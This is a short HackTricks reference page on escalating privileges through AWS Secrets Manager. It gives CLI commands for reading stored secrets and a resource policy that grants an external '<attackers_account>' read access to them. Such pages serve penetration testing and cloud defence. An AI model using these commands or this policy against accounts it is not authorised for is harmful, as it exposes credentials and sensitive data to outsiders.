AWS - Secrets Manager Privesc
Reading time: 2 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Secrets Manager
For more info about secrets manager check:
secretsmanager:GetSecretValue
An attacker with this permission can get the saved value inside a secret in AWS Secretsmanager.
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
Potential Impact: Access high sensitive data inside AWS secrets manager service.
secretsmanager:GetResourcePolicy
, secretsmanager:PutResourcePolicy
, (secretsmanager:ListSecrets
)
With the previous permissions it's possible to give access to other principals/accounts (even external) to access the secret. Note that in order to read secrets encrypted with a KMS key, the user also needs to have access over the KMS key (more info in the KMS Enum page).
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.